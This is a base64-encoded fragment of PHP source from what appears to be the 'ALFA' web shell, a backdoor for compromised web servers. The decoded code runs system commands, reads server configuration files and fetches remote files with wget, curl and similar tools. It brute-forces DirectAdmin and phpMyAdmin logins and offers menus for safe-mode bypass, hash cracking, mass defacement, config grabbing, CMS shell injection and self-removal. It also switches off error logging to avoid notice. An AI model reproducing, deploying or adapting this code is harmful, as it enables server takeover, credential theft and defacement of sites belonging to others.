W1lPSdmaWxlJyB2YWx1ZT0nJz4KPC9mb3JtPgo8aW5wdXQgdHlwZT0nZmlsZScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdpbXBvcnRGaWxlQnRuJyBvbmNoYW5nZT0naW1wb3J0Q29uZmlnKGV2ZW50KTsnPgo8ZGl2IGlkPSdhX2xvYWRlcic+PGltZyBzcmM9JyIuX19zaG93aWNvbignbG9hZGVyJykuIic+PC9kaXY+IjsKJGNtZF91bmFtZSA9IGFsZmFFeCgidW5hbWUgLWEiLGZhbHNlLGZhbHNlKTsKJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7CmlmKCR1bmFtZT09IiggcGhwX3VuYW1lICkgRnVuY3Rpb24gRGlzYWJsZWQgISIpeyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fQplY2hvICcKPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiBsZWZ0bWFyZ2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8ZGl2IGlkPSJ1cF9iYXJfaG9sZGVyIj48L2Rpdj4KPGRpdiBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIG5hbWU9Im1mIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+JzsKZm9yKCRzPTE7JHM8PTEwOyRzKyspewplY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhbGZhJy4kcy4nIj4nOwp9CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiPgo8L2Zvcm0+CjxkaXYgaWQ9XCdoaWRkZW5fc2hcJz48c3BhbiBzdHlsZT0iY29sb3I6IzQyZmY1OTsiPicuX19BTEZBX0NPREVfTkFNRV9fLic8L3NwYW4+PGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19BTEZBX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9kaXY+CjxkaXYgY2xhc3M9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VW5hbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91bmFtZSI+Jy4kdW5hbWUuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZXI6PC9zcGFuPjwvdGQ+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VyaWQiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBHcm91cDogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2dyb3VwaWQiPicgLiAkZ2lkIC4gJyBbICcgLiAkZ3JvdXAgLiAnIF08L3NwYW4+IDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy5AcGhwdmVyc2lvbigpLiAnIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlIE1vZGU6ICcuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNlcnZlcklQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy4oIUAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXT8oZnVuY3Rpb25fZXhpc3RzKCJnZXRob3N0YnluYW1lIik/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOic/Pz8/Jyk6QCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdKS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+WW91ciBJUDo8L3NwYW4+PGI+ICcuQCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLic8L2I+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmU7ZGlzcGxheTpub25lOyIgY2xhc3M9ImZsYWctaG9sZGVyIj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvbWFpbnM6PC9zcGFuPjwvdGQ+Cjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nOwppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CiRkMG1haW5zID0gX2FsZmFfZmlsZSgiL2V0Yy9uYW1lZC5jb25mIixmYWxzZSk7CmlmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7CiRjb3VudD0wOwpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewppZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CmZsdXNoKCk7CiRjb3VudCsrO319fQplY2hvICIkY291bnQgRG9tYWlucyI7fX0KZWxzZXtlY2hvKCJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSIpO30KZWNobyAnPC9zcGFuPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTYiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+SEREOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Ub3RhbDo8L3NwYW4+PGI+Jy5hbGZhU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5GcmVlOjwvc3Bhbj48Yj4nIC4gYWxmYVNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokc3hfZHdsciA9ICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+dXNlZnVsOjwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VmdWwiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb3dubG9hZGVyIj4tLS0tLS0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+JzsKaWYoIUBpbmlfZ2V0KCdzYWZlX21vZGUnKSl7CmlmKHN0cmxlbihhbGZhRXgoImlkIixmYWxzZSxmYWxzZSkpPjApewplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VXNlZnVsIDogPC9zcGFuPic7CiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aWFsZmEyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwokeD0wOwpmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKWlmKGFsZmFXaGljaCgkaXRlbSkpeyR4Kys7ZWNobyAnPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbS4nPC9zcGFuPic7fQppZigkeD09MCl7ZWNobyAiPHNwYW4gY2xhc3M9J2hlYWRlcl92YWx1ZXMnIGlkPSdoZWFkZXJfdXNlZnVsJz4tLS0tLS0tLS0tLS0tLTwvc3Bhbj4iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjt9CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwokeD0wOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpaWYoYWxmYVdoaWNoKCRpdGVtMikpeyR4Kys7ZWNobyAnPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbTIuJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX2Rvd25sb2FkZXInPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4nOwp9ZWxzZXsKZWNobyAkc3hfZHdscjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7Cn0KfWVsc2V7CmVjaG8gJHN4X2R3bHI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+V2luZG93czo8L3NwYW4+PGI+JzsKZWNobyBhbGZhRXgoJ3ZlcicsZmFsc2UsZmFsc2UpOwplY2hvICc8L3RkPgo8L3RyPiA8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxiPi0tLS0tLS0tLS0tLS08L2I+PC90ZD4KPC90cj48L2I+JzsKfQokcXVvdGVzID0gKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKT9nZXRfbWFnaWNfcXVvdGVzX2dwYygpOicwJyk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXM9PSAib24iKXskbWFnaWMgPSAnPGI+PHNwYW4gY2xhc3M9ImhlYWRlcl9vbiI+T048L3NwYW4+Jzt9ZWxzZXskbWFnaWMgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9vZmYiPk9GRjwvc3Bhbj4nO30KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuQWxmYV9HZXREaXNhYmxlX0Z1bmN0aW9uKCkuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjExIiBjb2xzcGFuPSIzIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk9wZW5fYmFzZWRpciA6PC9zcGFuPjxiPicuJG9wZW5fYi4nPC9iPiB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U2FmZV9tb2RlX2V4ZWNfZGlyIDo8L3NwYW4+PGI+Jy4kc2FmZV9leGUuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlX21vZGVfaW5jbHVkZV9kaXIgOjwvc3Bhbj48L2I+Jy4kc2FmZV9pbmNsdWRlLic8L2I+PC90ZD4KPC90cj4nOwppZigkR0xPQkFMU1snc3lzJ109PSJ3aW4iKXsKZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EUklWRTo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjIiPjxiPicuJGRyaXZlcy4nPC9iPjwvdGQ+CjwvdHI+JzsKfQplY2hvICc8dHI+Cjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRJUiA6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPGRpdiBpZD0ibWV1bmxpc3QiPgo8dWw+Cic7CiRsaSA9IGFycmF5KCdwcm9jJz0+J1Byb2MnLCdwaHBldmFsJz0+J0V2YWwnLCdzcWwnPT4nU1FMJywnY29ubmVjdCc9PidCQycsJ3NhZmUnPT4nQnlwYXNzJywnY2dpc2hlbGwnPT4nQ2dpJywnY3BjcmFjayc9PidIYXNoJywnYmFzZWRpcic9PidCYXNlRGlyJywncHdjaGFuZ2VyJz0+J0FkZG1pbicsJ1NoZWxsSW5qZWN0b3JzJz0+J0luamVjdCcsJ3N5bWxpbmsnPT4nU3ltbGluaycsJ01hc3NEZWZhY2VyJz0+J01hc3MnLCdzZWFyY2hlcic9PidTZWFyY2gnLCdjb25maWdfZ3JhYmJlcic9PidDb25maWcnLCdpbmJhY2tkb29yJz0+J0luamVjdCcsJ3NlbGZybSc9PidraWxsbWUnCik7CmZvcmVhY2goJGxpIGFzICRrZXk9PiR2YWx1ZSl7CmVjaG8oJzxsaT48YSBpZD0ibWVudV9vcHRfJy4ka2V5LiciIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PScuJGtleS4nIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PScuJGtleS4nXCc7ZyhcJycuJGtleS4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij4nLiR2YWx1ZS4nPC9hPjwvbGk+Jyk7Cn0KZWNobyAoIWVtcHR5KCRfQ09PS0lFWydBbGZhVXNlciddKSAmJiAhZW1wdHkoJF9DT09LSUVbJ0FsZmFQYXNzJ10pID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImFsZmFMb2dPdXQoKTsiPjxmb250IGNvbG9yPSJyZWQiPkxvZ091dDwvZm9udD48L2E+JzonJykuJzwvdWw+PC9kaXY+PC9kaXY+PGRpdiBpZD0iZmlsZXNtYW5fdGFicyI+PGRpdiBvbm1vdXNlb3Zlcj0iYWxmYUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgZm1fY291bnRlcj0iMSIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgZm1faWQ9IjEiIGlkPSJmaWxlc21hbl90YWJfMSIgY2xhc3M9ImZpbGVzbWFuX3RhYiBmaWxlc21hbi10YWItYWN0aXZlIiBvbmNsaWNrPSJmaWxlc21hblRhYkNvbnRyb2xsZXIodGhpcyk7Ij48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4+RmlsZSBtYW5hZ2VyPC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyIgaWQ9ImZpbGVzbWFuX3RhYnNfY2hpbGQiPjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX25ld190YWIiIGNsYXNzPSJmaWxlc21hbl90YWIiIHN0eWxlPSJiYWNrZ3JvdW5kOiBtYXJvb247IiBvbkNsaWNrPSJhbGZhRmlsZXNNYW5OZXdUYWIoY18sXCcvXCcsMSk7Ij5OZXcgVGFiICs8L2Rpdj48L2Rpdj4nO31lbHNlewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKfX0KZnVuY3Rpb24gYWxmYWxvZ291dCgpewpAc2V0Y29va2llKCJBbGZhVXNlciIsIG51bGwsIDIwMTIpOwpAc2V0Y29va2llKCJBbGZhUGFzcyIsIG51bGwsIDIwMTIpOwp1bnNldCgkX0NPT0tJRVsnQWxmYVVzZXInXSwkX0NPT0tJRVsnQWxmYVBhc3MnXSk7CmVjaG8oIm9rIik7Cn0KZnVuY3Rpb24gc2hvd0FuaW1hdGlvbigkbmFtZSl7CnJldHVybiAnLXdlYmtpdC1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczsnOwp9CmZ1bmN0aW9uIF9fc2hvd2ljb24oJHIpewokc1snYnRuJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2J0bi5wbmcnOwokc1snYWxmYW1pbmknXT0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYW1pbmkucG5nJzsKJHNbJ2xvYWRlciddPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9sb2FkZXIuc3ZnJzsKcmV0dXJuICRzWyRyXTsKfQpmdW5jdGlvbiBfX2Rvd25sb2FkKCR1cmwsJHBhdGg9ZmFsc2UpewppZighcHJlZ19tYXRjaCgiL1thLXpdKzpcL1wvLisvIiwkdXJsKSkgcmV0dXJuIGZhbHNlOwokc2F2ZWFzID0gYmFzZW5hbWUocmF3dXJsZGVjb2RlKCR1cmwpKTsKaWYoJHBhdGgpeyRzYXZlYXM9JHBhdGguJHNhdmVhczt9CmlmKCRjb250ZW50ID0gX19yZWFkX2ZpbGUoJHVybCkpewppZihAaXNfZmlsZSgkc2F2ZWFzKSlAdW5saW5rKCRzYXZlYXMpOwppZihfX3dyaXRlX2ZpbGUoJHNhdmVhcywgJGNvbnRlbnQpKXtyZXR1cm4gdHJ1ZTt9fQokYnVmZiA9IGFsZmFFeCgid2dldCAiLiR1cmwuIiAtTyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJjdXJsICIuJHVybC4iIC1vICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBhbGZhRXgoImx3cC1kb3dubG9hZCAiLiR1cmwuIiAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJseW54IC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJHRVQgIi4kdXJsLiIgPiAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJsaW5rcyAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiZmV0Y2ggLW8gIi4kc2F2ZWFzLiIgLXAgIi4kdXJsKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gY2xlYW5fc3RyaW5nKCRzdHJpbmcpewogIGlmKGZ1bmN0aW9uX2V4aXN0cygiaWNvbnYiKSl7CiAgJHMgPSB0cmltKCRzdHJpbmcpOwogICRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb250ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsKJGNvbnRlbnQgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIpOwp9CnJldHVybiAkY29udGVudDsKfQpmdW5jdGlvbiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pewppZighJGluZm9bJ215c3FsJ10pCiR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOwplbHNlICR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJy9waHBteWFkbWluJzsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUlBXRCwgJGluZm9bJ3VzZXJuYW1lJ10uJzonLiRpbmZvWydwYXNzd29yZCddKTsKaWYoJGluZm9bJ215c3FsJ10pY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0FOWSk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7CmVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOwokaW5mb1sndGFyZ2V0J10gPSAkdXJsOwpDcmFja2VyUmVzdWFsdCgkaW5mbyk7Cn0KY3VybF9jbG9zZSgkY3VybCk7Cn0KZnVuY3Rpb24gYWxmYVNoZWxsSW5qZWN0b3JzKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CkFsZmFOdW0oMTEpOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbn